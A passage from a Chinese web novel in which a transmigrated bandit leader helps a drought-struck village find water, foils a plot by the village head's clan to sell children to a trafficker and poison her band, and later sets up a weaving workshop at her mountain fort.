说话的妇人拿起衣袖擦了擦眼角,看向贾小二充满愤怒。
“就是不知道他们走后该怎么办啊……”
道出贾小二罪行越多,堵在甄榆心口处的灼烧感越强烈,气不过,她朝对方的屁股踹了一脚,对方未反应直直躺进田地里。
“你好歹是个里正的儿子竟然做如此伤天害理之事,不可原谅!”
贾小二爬起来,担掉脸上的泥土,对甄榆的行为敢怒不敢言。
在甄榆的胁迫下,贾小二他们修缮了孤寡老人和其他家里情况很困难的围栏,扩大了圈场,修补了漏风村民的屋顶,还协助房屋破旧的村民改善了住所。
一番操作下来,青源村各处瞧见新气象,如果不是逢上饥荒的话。
贾小二众人早已累倒,说不出话回应甄榆,甄榆也就没再强制让他们继续干活。
毕竟她是个善解人意的“奴隶主”。
在此期间,脑海中的电子音就没停过。
【收获一平民感激,名气值+1】
【收获一平民好感,名气值+1】
【整治村霸,名气值+2】
【帮助村民做事,名气值+1】
…………
结算下来,甄榆的名气值竟升到了46%,生命值也从原本的半月多延长到了俩月。
一老人颤巍巍上前握住甄榆的手,连声感激,布满时间痕迹的脸上溢出泪水。
“你真是我们村的恩人啊,自从你来了后我们就未受到他们的欺辱,在此我替我们村感谢你。”
说着就要跪下去,这可把甄榆吓一跳。
“使不得,使不得啊,大爷。”
甄榆没让大爷跪下去,直说是我们应该做的。
看到此,刘婶擦了把眼角,与李大郎闲聊:“我就说那孩子打趣吧,哪个土匪会帮我们?”
李大郎不好反驳,点头应和。
一下甄榆在青源村的声誉上水涨船高,使得村民们拿出仅剩的粮食款待他们,不过被甄榆拒绝了。
他们余下粮食还不清楚能不能熬到官粮下来,做最坏打算,甄榆决定帮助他们。
田地里庄稼主要缺水,但遇事不顺,几天未下雨。
为解决此,甄榆等人来到水井口。
最近的溪流离青源村太远,费力费时间,也不能挖道引流,便只能把希望放在了村里的水井上。
水井位于青源村东南角,不仅取水方便还可以浇田,井口很大,成年强壮的男子可以进入两人,井口很深,望不到底。
甄榆安排一人与贾小二一同前往查看情况,起初贾小二很抗拒,他怕一旦下去便送了命,但被踹了一脚后老实了。
他们抓紧绳子沿着墙壁缓慢下移,经过阴阳分界线,他们彻底融入黑暗,上头人看不见身影。
开始甄榆叫喊还有人应答,但一段时间过去,井口上的人听不到井地声音。
林小观咽了口水,拽了拽甄榆衣襟。
“大当家,这会不会太危险了啊?万一他俩出事咋办啊?”
林小观问出口,其他人点头附和。
其实甄榆也有点担心,毕竟下面如何她看不到,可不赌一把不知道会发生如何。
她握紧拳头,眼神坚定。
“不会。”
12. 第 12 章
井口下,水滴声格外清晰。
二人过了半个时辰到达了底面。
滴答滴答──
滴声不断,墨色笼罩下显得异常诡异。
裤脚一湿,他们发现黑色井地残留水泽,摸上墙壁沾有看不见的青苔,没有火折子,他们只能凭借触感摸索井底的情况。
由于位于阴暗,即使无水,这里依旧较潮湿。
过了一盏茶,二人回到了地面。
“大当家,井底下比较潮湿,井壁上长有青苔,阴湿环境的地下似乎还长了些野草。此外,还发现了这个。”
一块青灰色形状怪异的石头展露在众人面前,看到的人低头私语皆探讨此东西为何物。
甄榆眼睛亮了起来。
他们不认识甄榆可认得,那面上沾有颗粒石头的正是石灰岩,有了这个就可以笃定井下必有水。
她还担心如果地下和土地一样没有半点水分的话,向下深挖地下水的计划就得作废了。
工程量大,又安排了几位身体健好的人拿着工具下去挖水。
一点一点星火自下闪现,像极了黑布上微弱的星光。
上头的人将多余的泥土通过木桶运输出来倒在田里混合原土,也可以按照自己意愿前去用于建造。
不多时,下面传来声音,虽然轻微甄榆还是听到了。
“大当家,挖到水了!”
他们将泥水打出运到各村田地里,阳光西斜,原本不见半点水的井口涌上了干净清澈的地下水。
“姑娘,你真是我们村的小福星啊!”
好在青源村有憨厚朴实的人,来找甄榆等人想占便宜的都被挡了回去。
有了水,庄稼很快起了色,秉持好人做到底的原则,甄榆带领村民开新田种植野菜,收黄豆研磨豆浆。
幸而每年播种结束后村民会自行留有一些种子以备存储,才没有浪费了这时间。
翻土浇水,远远望去像是回到了春耕时节。
贾小二来到甄榆旁,态度奉承。
“那个,姑奶奶,我爹回来了,你看…………”
他话没说完,甄榆一个点头,贾里正亲戚儿子跑回了家。
他不知道在他背后,甄榆悄咪咪向别人使了个眼色。
“小兔崽子,你又上哪鬼混了,也不知道欢迎一下你爹!”
看见自家儿子,贾老二面上显出困惑。
“你脸上的伤是怎么回事?还有你们。”
贾老二望向儿子身后一众亲戚。
“怎么都一副死气沉沉样?”
贾小二激动无以言说,差点跪下抱着家父痛哭流涕。
大哥向贾老二简述最近发生的事情,听着贾老二不由生起怒火。
“一个黄毛丫头你们都收拾不了?”
“老二啊,那人身边跟着好几个魁梧壮汉,我们几个根本不是他们对手。”
“打不过怎么不去报官?发生这种事没见得你们写信给我。”
众人你看看我我看看你,一时不语,还是贾小二率先打破沉默。
“爹,你以为我们不想吗?他们人多,被抄了家后寸步不离监督我们干活,没时机传信。”
攸然,贾小二想到什么,问出口。
“爹,你不是去县城探粮了吗?粮呢?”
贾老二摆了摆手:“没,说是运量半路出了茬子,我们这地区的被耽搁了还得过几天。”
“咳咳。”
贾大哥出声,眼神示意贾小二。
“没什么事,你就出去,我还有事跟你大伯商量。”
贾小二被赶了出来,可他没有走掉,再傻到这个时候也清楚感知他爹瞒了他事情。
刚想转身,面前出现一只大手握住了他的口鼻,惊恐之下他只能发出呜咽声。
“嘘。”
被带到后院墙角,贾小二看清捂他本人的还是甄榆等人。
他心里都快哭了,要是能开口说话,他必先抱怨“我真的什么不知道,怎么还逮他不放”。
“什么地方离院子近?”
甄榆试过,墙头是个好地方但听不清,为了偷听顺利,她拐来贾小二逼问。
“偏……偏房近……”
一把大刀架脖子上,贾小二哆嗦的话说不清。
“领路。”
好在贾里正的家的偏房单独立出,甄榆等人顺利从后院进入,与院子人一墙之隔。
“老二,好歹我们帮你洗脑那些村民,让那些人自愿贩卖自己孩子,你一人竟然独吞那么多!”
一句话点起众怒。
婶子插嘴道:“我与你大哥出力最多,结果分到的不足别人三分之一,我告诉你贾老二,不给我们三两银子,我们可没完。”
“二伯父,我帮你找到人牙子,保证买卖不出问题,按理说,我做的尽心尽力,可你给我才50文,大堂哥也有85文!”
贾老二三侄子插入话。
躲在偏房的甄榆等人在听到“贩卖孩童”时不免深吸一口凉气,往后越听,心中越震惊。
埋在甄榆心底的雾此刻破云天日,怪不得青源村人口挺多,但幼龄孩子却不见几个,怪不得许多妇人看见别家童子时眼神会露出怀念,怪不得…………
原来是这个原因。
甄榆望向贾小二,黑色瞳孔显出打量。
贾小二对此信息冲击力不必甄榆他们少,他知道他爹背着他干了什么黑色产业,却从未知晓具体是什么。
他也知道了为什么每逢月末他爹总要在夜深人静的时候去往村口。
“我什么时候瞒着你们私藏了?我给你们的钱都是按力分配,开始时你们并没有反对。”
贾老二眉毛皱紧,面上不慌内心然疑惑私藏钱财之事咋会暴露。
“那山匪头子在你常去的院子出来手里拿了一叠!我们看的清清楚楚!”
贾老二心中大惊。
“现在不是问这个的时候。”
贾三打断他们争议。
“那人带领村民挖水种植,想卖的人恐怕少之又少。”
这话像一盆水浇灭大伙争执的火焰。
“老二,你和那人牙子约定下次取货时间定在何时?”
“时间不变,这月末。”
“手头上的货还有几个?”
“东边那俩家女童加上西边的一男童,就3个。”
“先把这货送出去再说吧。”
“三弟,万一那山贼举报我们咋办?”
贾大将自己的担忧问出口。
他问完便听贾三冷笑:“他们都山贼了敢去告吗?黑吃黑?真要去了大不了我们在他们离开之前用药毒死他们。”
贾三
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口中的“他们”心里咯噔一下,有人骂生声。
“娘的。”
院外,贾小二被人捆住动弹不得,甄榆踢了下他的小腿:“喂,快把你知道的所有一五一十交代出。”
“我说……你们别动手……每次月末晚或中,我爹会架着一辆马车去往村口,马车上的东西被布盖住,露出来的银色线条看样子是铁笼。”
“听没听到一小孩能卖出多少?”
“好像是500─700文…………如果小孩健康给的钱也会多。”
了解一些,甄榆让人送了绑。
“你是个聪明人,知道什么该说什么不该说吧?”
甄榆眯眼,面露和善。
贾小二点头如捣蒜:“明白明白,今天这事我贾小二不会吐出半个。”
甄榆满意地走了,来到了刘婶家。
李大郎平常会在刘婶家帮忙照顾虎娃,正好这个时间段可以去问问。
“唉,我们知道。”
“知道?为什么你们不去报官?”
甄榆大拍桌子起身。
李大郎望向甄榆,脸上呈现难言之语。
“大当家,我知道你是想救那些被卖的孩童,但你有没有想过那些孩子在青源村会受罪而在外面他们会遇到更好的人家。”
缄默的刘婶也开口:“去找贾里正的人本身就是自愿的,他们最多起到宣传作用,倘若不是同意,他们捞不到一点好处。”
短时间内,无人出声。
甄榆不死心,继续问道:“你们怎么了解贾里正会安排好那些孩童?万一他买的人虐待他们呢?”
“嗐,大当家,这我们知道,可逢遇灾事,我们自保都困难,哪顾得孩子。隔壁那户,好几年前吧家里男的做苦事摔断了腿,女的凑不齐钱财治病一咬牙卖了三儿,听说现在那孩子在有钱人家当丫鬟,一月领到的俸禄比我们这些平民多着了,好几人羡慕。”
“我看卖孩子换来的钱财或粮食的人家不说能养活一大家子,支持官粮下来是没问题的。”
头一次,甄榆对自己行为产生了质疑。
她想揭开黑暗,可深处暗中之人劝她放弃,她的行为是多此一举。
仿佛站在小船之中,停泊于湖面,而手中无桨,进退两难。
余晖下,田地里还有些人在劳作,左邻右房零零散散走出个孩童玩闹,刚才的话似乎在甄榆脑中回响,刺激心脏生起不耐。
忽然,眼前出现满是黄色蜂蜜包裹的糖果躺在小小的手掌中,一道稚嫩音响起拉回甄榆的思绪。
“大姐姐,别不开心了,我把我最爱的糖果给你吃。”
“谢谢。”
甄榆认不出是哪家孩子,脑后俩个麻花辫随着女孩动作左右摇摆,粗麻衣裳布满补丁却洗的干净,可以看出女孩的家人很爱她。
一口咽下去,黏糊液体自舌头融化开来,封住的口感通过神经传到大脑,身体激起酥酥麻麻的酸,酸去过后便是甜香伴随里面纯正的果味。
甄榆直待到天边泛起橙黄蓝的交加,起身从田埂望李大郎家走。
“大当家,你确定了吗?”
其实李大郎不赞成甄榆去做,村民不配合,你来我往的交易,他们想要彻底斩断总归是不顺的。
甄榆黑色眸子亮着星点,目光如炬。
“要救。”
13. 第 13 章
贾小二没再作妖,安静了很长时间。
不管如何,甄榆决心要救下余下孩子。
夜,她在李大郎腾出的房子里和寨里兄弟一起密谋。
根据他们暗中询问的情况来讲,每次贾老二交货前一晚会将要准备的货聚集于偏僻后院,等时间一到一同装上马车交于人牙子。
贾老二算是有良心,没有苛刻那些孩子。
“老二,这行可不能再干下去了。最近不知谁走漏了风声,严查贩卖孩子事件。”
贾老二转动手里铜钱,眼色晦暗不明。
他点头:“嗨,本来就是一时兴起,赚点赚点就行了,我可叮嘱你们几个,来年结束痕迹得给我清理干净点。”
“二伯,这次发放的钱得公平点,保不准会被自己人反咬一口。”
“你这话什么意思!”
眼看一场战火要开始,贾三打圆场:“哎哎哎,孩子胡说,别放在心上,我们给哥做事肯定是相信哥的。”
贾老二哼气一声,没和自家侄子纠缠。
贾小三不满,小声抱怨,被自己娘亲拉回房间。
“那些山贼还没走吗?”
“没,方今住在李氏房子里,也是好运,他竟然能活着回来,不然他家的东西就可以为我们所用了。”
“安全起见,他们想走也走不了。”
贾老二招招手,几人围在一起听着他计划。
“阿嚏。”
几米之内,李大郎屋子里。
“奇怪怎么感觉有一股不安。”
坐在地上冥想的林小观起身,摸了一身鸡皮疙瘩。
“俺也是,这心里有点忐忑。”
其中一老汉应道。
话闭,其他人纷纷附和。
乡野虫鸣不绝,惨淡月光之下掩藏一身形庞大的人影。
甄榆所在的房间开了又关。
“呦,方便回来了啊。”
有人打趣进来的人。
那人笑笑直接对甄榆开口。
“大当家,你猜的不错,贾里正那些人果然想致我们于死地。”
“什么?!”
“嘘。”
甄榆食指放在嘴边以示其他人静音。
“继续盯着,我们来个将计就计。”
煞风寨里。
陈酒等人进去搜查后,果真没看见野兔等猎物,还在别人提醒下看见了堆在狼狗群里被啃食的白骨。
不过,反正他们的真正目地不在这,望见那些并无愤怒。
无人知晓煞风寨隐秘角落多了个染着火光的火折子。
陈酒问道身边之人:“要你们干的事做好了吗?”
点到的人均点头。
莽珂趁机上前插话:“你看老弟,都说了不是我们抢的。”
陈酒瞥了他一眼什么话不说带着兄弟出了煞风寨,身后传来莽珂略显喜悦声音。
“不送啊。”
但他明显大意。
歹他们完全走后,鼻尖似是闻到了烧灼的烟味,恰巧这时某个喽啰慌慌张张跑来。
“不好了,不好了,大当家,寨子后面全部莫名起火,粮仓被烧,所打猎的一切东西全部不翼而飞,好多兄弟损失惨重。”
“你说什么?!”
本就不大的寨子因为不知名起火导致现在烟雾弥漫,鸡飞狗跳,逃得逃,窜得窜。
“咳咳,大当家,我在某处拐角知道了这个。”
从火焰跑出的人满脸尘灰,手中拿着燃烧殆尽的火折子。
莽珂咬牙切齿,知道了纵火者是谁。
“烛──天──寨!”
龙脉山寨子口。
“三当家绝啊,他们抢我们食物,我们去烧他们寨子。”
“你们看到那边烟没有?啧啧,看起来被烧的所剩无几了。”
“活该,我早看他们不爽了,一群鳖孙,只敢在大当家不在的时候作妖。”
他们上山转头瞧见熏黑烟雾,短时染黑一片天空。
“哈哈哈哈,其实不是我主意,是我姐夫让我带人去悄悄干这事。”
“二当家当真聪慧!不过话说好像挺长时间没瞧见二当家了。”
“嗐,二当家做事那轮得到我们操心,可别忘了大当家昏迷那日,是二当家一己之力将企图骚扰烛天寨的那些人赶走的。”
“对对对。”
相谈甚欢以至于没发现跟他们来的周延池不见踪影。
处在慌乱之中的煞风寨有一道人影飞来飞去。
周延池在这座山头路上就注意土里埋藏价值不菲的帘匹,看情状很有可能是世家贵族才做得起的马车。
照此情形下去,很有可能会在这寨中发现走散的京城人。
火焰燃烧的势力足够为周延池寻找牢房提供了足够时间。
功夫不负有心人,他在右下角偏僻处找到了牢房。
寨里的人都去救火,因此无人阻拦周延池进入。
里面关押着路上抢劫来的俘虏,有熟悉的,不熟悉的看见周延池,伸出手求他救救自己。
周延池挥刀砍断牢门,让里面的人按顺序出去。
“外面他们都在去救火,无暇顾及此地,你们出去千万不可声张。”
道谢过后,很快人推门跑来。
有人认出了周延池的身份,恭敬喊他。
俩时辰过后,牢里全部走了干净。
在周延池带领下,京城来的人悄然地安全消失于煞风寨。
“我们是护送宋小姐的随从,经过此地不幸遭遇这山贼的袭击,抢走了马车上的钱财,我们斗战许久才好不容易将小姐安全逃走,不幸被这贼子逮住关押牢房。”
一人解释事情缘由。
周延池点点头,简单将他为何出现在这里交代一遍后,领着他们回了烛天寨。
西寨劳作的宋诀霖看见周延池身后众人,惊讶捂嘴,她以为他们已经死在那次打斗中,全然未想到还能见到。
简单含蓄后,他们在陈酒同意下居住下来,只不过因为又多吃几人,原本一人一间房的侍从们要二人挤一间。
如今还剩十几天便是五月初,周延池找那人没有一点进度,忍不住望着窗外景色叹气。
“大人,我们是否现在准备准备?”
“去准备吧,我们先到长古城另作打算。”
李来恩走后,宋诀霖敲门入进。
长时间下地耕种导致京城小姐失去了白瓷皮肤,修长手指,如今宋诀霖与平民样子无异。
可即使这样,清秀的五官依然掩盖不住她的漂亮。
“周公子是在
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找五皇子?”
周延池深邃眼眸倒映宋诀霖的样子,许久,他朝她嫣然一笑。
“宋小姐真是慧心巧思。”
“你说笑了,换另一个人对是当今圣上器重却在这山贼寨子里独留数日还能安然无恙,总是跑来跑去观察寨里情形的周大公子也会起疑吧?”
宋诀霖身子骨弱,但却不是傻的。
她显然感觉到周延池在烛天寨极力寻找什么,但到底是找谁想到的便是四年前在此遇难的五皇子,京城最尊贵之人宠爱的皇子。
“宋姑娘今夜前来想必不是单纯找我闲聊吧?”
与白日不同,宋诀霖眉眼间没有了明媚灵婉,取而代之则是严肃与明锐。
“我想知道你是用什么理由说服圣上让你来这的,现今朝廷暗流涌动,一般来讲他不会放开你。”
周延池请她入座,为她到了一杯茶。
“代为任职当然不会放开我,假如我用去找失踪皇子的理由呢?”
宋诀霖接过抿了一口:“当年圣上听闻五皇子被山贼所杀,尸骨无存,本就心存侥幸之心。好不容易听闻有一丝希望,必会奉命派人去探个究竟,怪不得。”
“可三皇子放入何等地步?前阵子大皇子失利,即将稳不住三阵局面。”
“找不到五皇子我原先是要与三皇子汇合商议局势。找到了,以曾经五皇子的生母是他的救命恩人来讲大抵不会与五皇子为敌。”
桌面中间的灯火一会照应周延池的脸,一会飘向宋诀霖的方向。
“很晚了,不打扰公子歇息。”
开门迎面撞上一阵清风,吹散了屋里燥热气息。
……踏出门口之际,后面飘来属于周延池的音色。
“不知宋小姐会站在哪一方?”
宋诀霖拨开眼前的碎发,声音轻柔:“你不是有了阵营吗?”
落下这句话,便不做停留,和等在屋外的一依一同回到房间。
大寨竹木房,面朝阳的窗户口站着一道清新俊逸的身影,影子的主人垂目,视线移到房子下方,看不清是望向何处。
手中还是握着那个玉笛,不曾离手,冰凉光滑的感触自手心传递到全身,不由让他回到很久以前。
还是在这所寨子里,他依旧被比他矮一头的土匪救下,那时可没现在安分当她的郎夫。
表面臣服其实筹划如何利用她为自己复仇。
一个平常白天,那人去了郡城回来送给他一个用上好晶石制作的笛子。
他至今还记得她看向他的眼神挂满笑意。
“像你长得如此好看的人应该配点东西,正好我上街时候看到了这个与你刚好搭配。”
“其实我是想送你木笛,但看你气质属实配不上你。”
“你要配就得是最好的。”
她仰着头,笑容灿烂。
那一瞬间,他有一刻后悔,后悔他不应该利用她。
可是,到了后面她像是换了个人,语气,动作,神态皆不是她,可样子是没变的。
他有一刻迷茫,那人不知道差一步他便非她不可。
他以为他有机会报仇,为死去的母妃报仇,如果他活下来的话。
但一睁眼,回到了起点,故事的开始。
这一次,无论如何,他得活下去。
14. 第 14 章
“大当家,他们行动了。”
坐等很多天,终于等到了快月末。
期间,官粮到达洸阳县,知县分工安排各村各地施粥的施粥,发粮的发粮。
时间一长,人数减少明显得到把控,又逢雨季来临,濒死的庄稼得到扶苏,村民重新回到了耕种世纪。
“姑奶奶,我爹为了报答你为青源村所做的贡献,特此让我来邀约你们去我家吃宴。”
贾小二有些心虚。
“你势必要把他们带过来。”
父亲交给他这个任务,其实他没有一定把握能完成。
“那他们不来咋办?”
“你不会使阴招吗?傻货。”
提心吊胆之下,他听见了甄榆答应的声音。
“好啊。”
贾里正家。
总共来的估算十三,派三排全部可乘坐。
另外贾老二还多加一桌让自己人上位以达到瞒过他们目的。
上的菜也不是什么丰富佳肴,大都是凉菜冷面配点自己做的小酱。
门口站着几个凑热闹的人,碎话随之而起。
“奇怪,那贾老二有这个好心?”
“哪能啊,你没瞧见上的都是随处可见的面食吗?”
“哎,你们看恩人来了。”
远远瞅见甄榆带着一群壮汉气势汹汹过来,那阵仗瞧着像是来打架的。
“来了啊,快快快入座。”
贾老二脸上是虚伪的笑容,特叮对待甄榆一行人要礼貌。
全部入座后,宴会正式开始。
甄榆假意入口,又趁无人在意偷偷吐到袖子口,其他人一一照做。
看时机成熟,大家伙们上演起了中毒。
见他们上了当,贾老二露出险恶脸庞。
“可别怪我们,要怪就怪你们多管闲事。”
贾小二还想上前补几刀来发泄前几天自己憋屈的怨气,被自己爹挡了下来。
“行了,快找个地方把他们埋了,还得找个理由瞒过其他人。”
白天不敢行事,是在晚上举个火把远离村庄五十米的地方挖坑埋入。
心虚作祟,他们没有发现伸手不见五指的黑暗里躲着个人。
“这下应该好了,走吧。”
填完土,年轻壮士沿着路线回去,边走边祈祷没人发现他们做的勾当。
事与愿违,待人走后,黑暗中的人走了出来,身后跟着两三个青年。
他们共同持着铁锹。
李大郎一声令下,新埋的土重新挖开。
甄榆爬出地面,弹了弹脸上衣服上的土。
“呸呸呸,那个贾氏死定了。”
其他人接二连三回到地面,无一例外开口的第一句话就是咒骂一群贾氏的。
“大当家,他们现在已经去往村口了。”
李大郎卓一感谢来帮忙的邻居,对着甄榆描述局势。
“你知道有小路吗?”
李大郎沉默了下,努力搜索记忆里青源村的地势,还真被他想起确实存在这么一条路。
青源村村口。
“好,你们干得不错,分的钱会给你们一些。”
贾老二听闻安排的事无差错,满意点了点头。
四周乌黑,独留一弯明月悬挂在天上,细弱光线融进田地,与周家星火旋舞。
朝外看去,全是黑的景色顿然冒出一点火光,那光左右摇晃,为前方开辟一条道路。
伴随风啸,火光越来越近。
“贾氏,货好了?”
“一切安排妥当,就得你检验呢。”
说着,贾老二掀开一角,露出笼子里装着的孩童。
因恐惧侵占大脑,此时的他们根本不敢睡着,忽有红色亮光靠近,身体瑟缩一旁,眼睛由于暗到亮的转变半眯起来。
人牙子瞄了会,点了点头。
“行,虽比之前差了点,总归样貌端正,交货吧。”
暗中,甄榆皱眉问向李大郎:“那人贩子为啥在意样貌?”
“我听闻一点点,好像是首先会把他们卖去当童养媳/夫,丑的买家不要,最后实在无人买都会被安排卖去妓院。”
“也就是说只有少部分人命运会好一点?”
“可以这么说。”
可就是这么少的概率,依旧有很多人愿意一试。
“动手。”
转变就在一瞬间,人牙子收了货之后还未出行动,一行人出现将他们打倒在地。
借着月光,贾老二捕捉到甄榆一闪而过的脸庞,惊慌叫出声。
“怎么可能!我亲眼看见你们吃下去!怎么可能还活着?!”
打晕前,甄榆回答了他的问题:“就你下的那点药还想毒死我们?做梦!”
白天,甄榆匿名举报青源村贾氏的所作所为,告发贾氏旁亲洗脑青源村村民。
知县大怒,赏赐匿名者后,命贾氏一族主犯绞刑,从犯流放荒芜之地,人牙子得到和贾氏一样的受刑。
而祸害的孩童愿意回去的会放他们回去,无家可归的甄榆会将他们带回寨里。
至此,青源村告一段落,一村众人来到村口护送甄榆离开。
一路上林小观哼唱着歌被甄榆打趣。
“救了人这么开心?”
“大当家,你不明白,我从小长于烛天寨,未见得外面天地,受到理念是不顾手段养活自己。后来二当家出现,他教寨里兄弟们不是只有杀人抢掠这一条出路,行善也可成为我们的生存方式。以前听的糊涂,现在跟大当家做好事是深得体会了。原来救人心里会非常愉悦。”
甄榆扬唇一笑,没说话,摸了摸他的头。
正在这时,系统出现。
【宿主帮助青源村斩除恶霸,引领发展,高尚精神值得赞扬,名气值+10,目前总值为55%,权限等级升级为c,具体内容展现于属性面板上,生命值延长三月,恭喜宿主再接再厉。】
“哦耶!”
甄榆一高兴惹不住蹦起挥起了手臂,引得众人伫足观望。
场面有点尬尴,甄榆恢复镇定:“那什么,我们离开这么久还不知道寨里怎么样,我们快回去。”
龙脉山。
“大当家回来了!”
一喊招来了陈酒和宋诀霖他们。
三言两语,甄榆讲述了青源村的事情,顺便找人给那些带来的孩子安置好。
陈酒也把自己是如何带寨里兄弟报仇的简单概括,收到了甄榆一顿夸赞。
“不过,以后得提高警惕,煞风寨这次吃了大亏,必会在以后找回。”
“嗯嗯。”
音落,甄榆
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察觉属于陈酒信息的那一栏解锁出了心动对象以及生命值。
粉红色那栏位置是空着,表示生命值那地方被拉满。
她忽然发觉,沉入太久已忘记不知什么时候渡过了书中必死的前三章,顺利活了下来。
脑中潜意识里还产生一副画,画布上一片白,却刺激甄榆一身,像是消失很久的东西慢慢浮现。
但甄榆没注意,全部的集中力在解锁出的值上。
转头看向原书主角,属性面板上出现和陈酒一样的值。
改动的是周延池心动对象是空的,而宋诀霖上显示着是他的名字。
甄榆差点惊叫出声,不是模糊,不是摸棱两可,是确定的答案。
“正好你来了,去西寨看看吧。”
宋诀霖出声。
天气适宜加上人工细心照料,西寨那块地长出了果实,通过系统检出带有虫子、内部烂掉的果实后,又处理了长在地里的野草。
照这情形,来年必会硕果累累。
寨里放置工具不够,甄榆招集妇人编织起了竹筐。看着有趣,不少老人幼童加入进来。
贪玩的童子会将竹条编织成小玩具展示在大人面前。
甄榆看见想到寨里钱财不够,问起陈酒:“寨里的钱都是怎么来的?”
“会有人把打猎到猎物送去市集卖,也有人扮成平民去小镇打零工,反正来的路子层出不穷。”
甄榆一锤定音,同寨里妇人商量起来。
“各位,我有个法子。”
有很多妇人无所事事在家带孩子,甄榆便想发展起手工编织,不编丝衣编用具。
分配一部分的青壮年去山里寻材料,妇人编织,幼童7-10岁也可加入进来编些小玩意。
甄榆会专门弄个厂用于这行,要回家做的可以拿材料回去,在每月末收集时准时交上便可。
工资是按劳分配,早九晚五,为了避免她们卷上,甄榆重点强调不能加班,被发现会罚款。
方便她们理清楚,甄榆制作了一张表,还承诺每人保底十文,发现懒惰者取消相应人的制度。
当然,以上主要争对于成人。
孩子的话是另一方面。
“大当家,若碰上有人不会咋办?”
甄榆同宋诀霖对视一眼,均在双方人眼里看到亮光。
“这个交于我和宋诀霖。”
说干就干,次日,甄榆选中了离东寨近又方便西寨的地方。
不过因而大寨容量受限没选在此地,是分割出大寨一块地跟东寨相连出改为了编织厂,厂长交予宋诀霖。
西寨的管理权交给了陈酒。
“不不不,我不行啊。”
收到通知第一件事,陈酒连忙摆手。
甄榆叉腰:“你是三当家咋就不行了?”
“我只会打架,不擅长分配人啊。”
甄榆劝心:“你没哈事,就是起到监督作用,平常该干嘛干嘛。”
“真的?”
甄榆重重点头下,陈酒接下了任务。
为什么没分给周延池?
那是因为早在宋诀霖去东寨时,他就去找甄榆得到了养鱼职责。
望着周延池和宋诀霖闲聊,甄榆环保手臂纳闷。
女主是怎么做到先心动却让对方主动的呢?
15. 第 15 章
甄榆抽个时间去见了张庆昶。
她不在的这些天,张庆昶可谓是活着自在。
偷摸喝了好几瓶酒,怕甄榆发现,每次都喝半瓶后装水兑满。
很可惜他不知道甄榆有系统。
“张叔,你再喝是不是不想要胃了?”
“甄丫头,胡说这不是,有人看管我没有机会去拿啊?”
知道张叔嘴犟,甄榆把少了半瓶的酒一一列到他面前。
见到实施的罪行,张庆昶不做声了。
“别生气,别生气,叔保证没下次了,这次绝对保证。”
甄榆无奈:“张叔,你上次也是这么说的。”
此招没用,张庆昶笑笑掩饰尬尴。
张庆昶使劲使眼色,可惜坐在一旁的温伍郎假使眼瞎。
“哎,听人说你救了一个村是吗?”
危急时刻,张庆昶急中生智转移话题。
甄榆一愣,点点头:“对啊。”
之后,张庆昶开启了一连串赞扬的盛举。
“好了,我来是有正事。”
受不了张庆昶行为,甄榆急忙打断。
“上次进我爹房间瞅到一把枪,我看那枪还能用,能拿来使使吗?”
“什么枪?”
“枪身有着银龙痕迹的,别着红缨的那把。”
无意话茬打开张庆昶往日的回流,石子落地荡起圈圈波纹,一环接着一环,永无止境。
........长毛枪.......老寨主生前惯用长毛枪......
思绪飞远,像是见到了年少时的老寨主。
“嗯?你这枪哪来的?看着不错。”
“嘿嘿,是将军给我的,她说我用这刚好。”
“你小子可以啊,这个好像是将军常练武所用的兵器,你真走运。”
“真的吗?那我要好好维护了。”
“张叔?”
过去往日消散,声音被眼前之人所替代。
“哦哦,那把是生前老寨主最爱的兵器,你得好好爱护。”
“一定!”
就这样,甄榆接过钥匙奔向大寨。
目送她的方向,张庆昶有些感概。
归于尘土的枪也有新主人接替了。
“我母妃送的长毛枪?”
温伍郎的出声拉回张庆昶的视线。
“对,可惜啊,老寨主去得早,没见到你,不然看见你这与将军一模一样的脸必会拉你絮叨一番。”
温伍郎垂下眼,眼神灰暗。
感应到他情绪,张庆昶拍了拍他肩膀:“你好好活着便是将军最大的心愿,其实说心里话我是不赞同你去报仇的。”
温伍郎对上他的眼,上扬的丹凤眼诉说心底的情绪,是愤怒、怨恨与哀怨。
“我明白,张叔,可我不甘心,我的母妃不应该那样死去,大启的云麾将军不应该亡于后宫之中。”
张庆昶知道说不动他,摇头叹气:“游历在外的魏娘回来了,在洸阳县,我想应该对你有些帮助。”
“多谢。”
甄榆带着一肚子疑问回到了大寨。
那两人不知道,临走时,甄榆瞧见了二人的信息。
生命值都是拉满的。
张庆昶无红颜,被称呼“温伍郎”的那人心动对象竟然是自己!
没人知晓甄榆当时看到的震惊。
在原书中虽然描写关于他们的笔墨不多,但清楚说了二人是以礼相待,被救的郎夫对那山贼没有半分情感。
甄榆是不知道现在怎么变了。
似乎那个温伍郎身份还挺高,至今未看见他的身份和真实名字。
算了算了。
甄榆摇摇脑袋,放弃思考。
她每次见温伍郎总有种熟悉的感觉,然她确定她和这个人是第一次见面。
想着想着来到了老寨主的房间。
负责打扫的人刚走,整间屋子散发新气象。
放枪的位置没变,一个踢脚,枪入她手中。
“以后,你跟我混吧。”
微风没入房间,摆动枪柄上的红樱,艳丽红色在空中画出一道短小的弧度似是在回应。
“黑豹,你给我站住!”
院子里,一侧麻花辫甩出好看的弧度,堪堪露出耳垂上的红点。
黑豹速度着实快,半天陈酒也没追上,他气的朝前方用力扔出大刀。
在他的预计里,刀正好落到黑豹前方,因此暂断黑豹的路,然后自己趁机上前领住它的脖子。
事与愿违,刀即将落到前方时,黑豹一个起跳,避开了那刀,稳稳逃掉。
这一操作引得众人心中吃惊。
甄榆抛出手中的枪,也被黑豹躲开,同一时刻,甄榆飞快上前,劫下前方的路,抱起了黑豹。
凑近一看才看到黑豹口中叼着大块的鸡肉,现已咽了下去。
甄榆精准望向企图混入人群中的陈酒,释放低气压。
“怎么回事?”
陈酒双手点了点食指,视线望向其他地方。
“今天我去看看做什么,然后黑豹跟着看见有鸡,就……忍不住……咬了一口……”
黑豹像是知道自己干了错事尾巴轻微摆动,有意无意蹭蹭甄榆的手。
“但我发誓,平常黑豹很乖的,就是不知道为什么每次看见食物就忍不住上去抢…………”
对上黑豹水灵灵的大眼睛,甄榆心里:“…………”
“下,不,为,例。”
“好好好。”
陈酒提着黑豹后脖颈,有点恨铁不成钢戳戳它的鼻子:“我亏待过你吗?每次给我找麻烦,你知不知道,差一点你──主人我──小命不保。”
黑豹呜咽一声,眸子下垂。
抬脚要走,陈酒肩膀被人拍了下。
回头是周延池。
周延池经过这时凑巧见到了刚刚发生的一切。
同时他对黑豹敏捷和速度上表示惊喜。
这不是普通野狼所有的天赋。
“黑豹经过有过训导吗?”
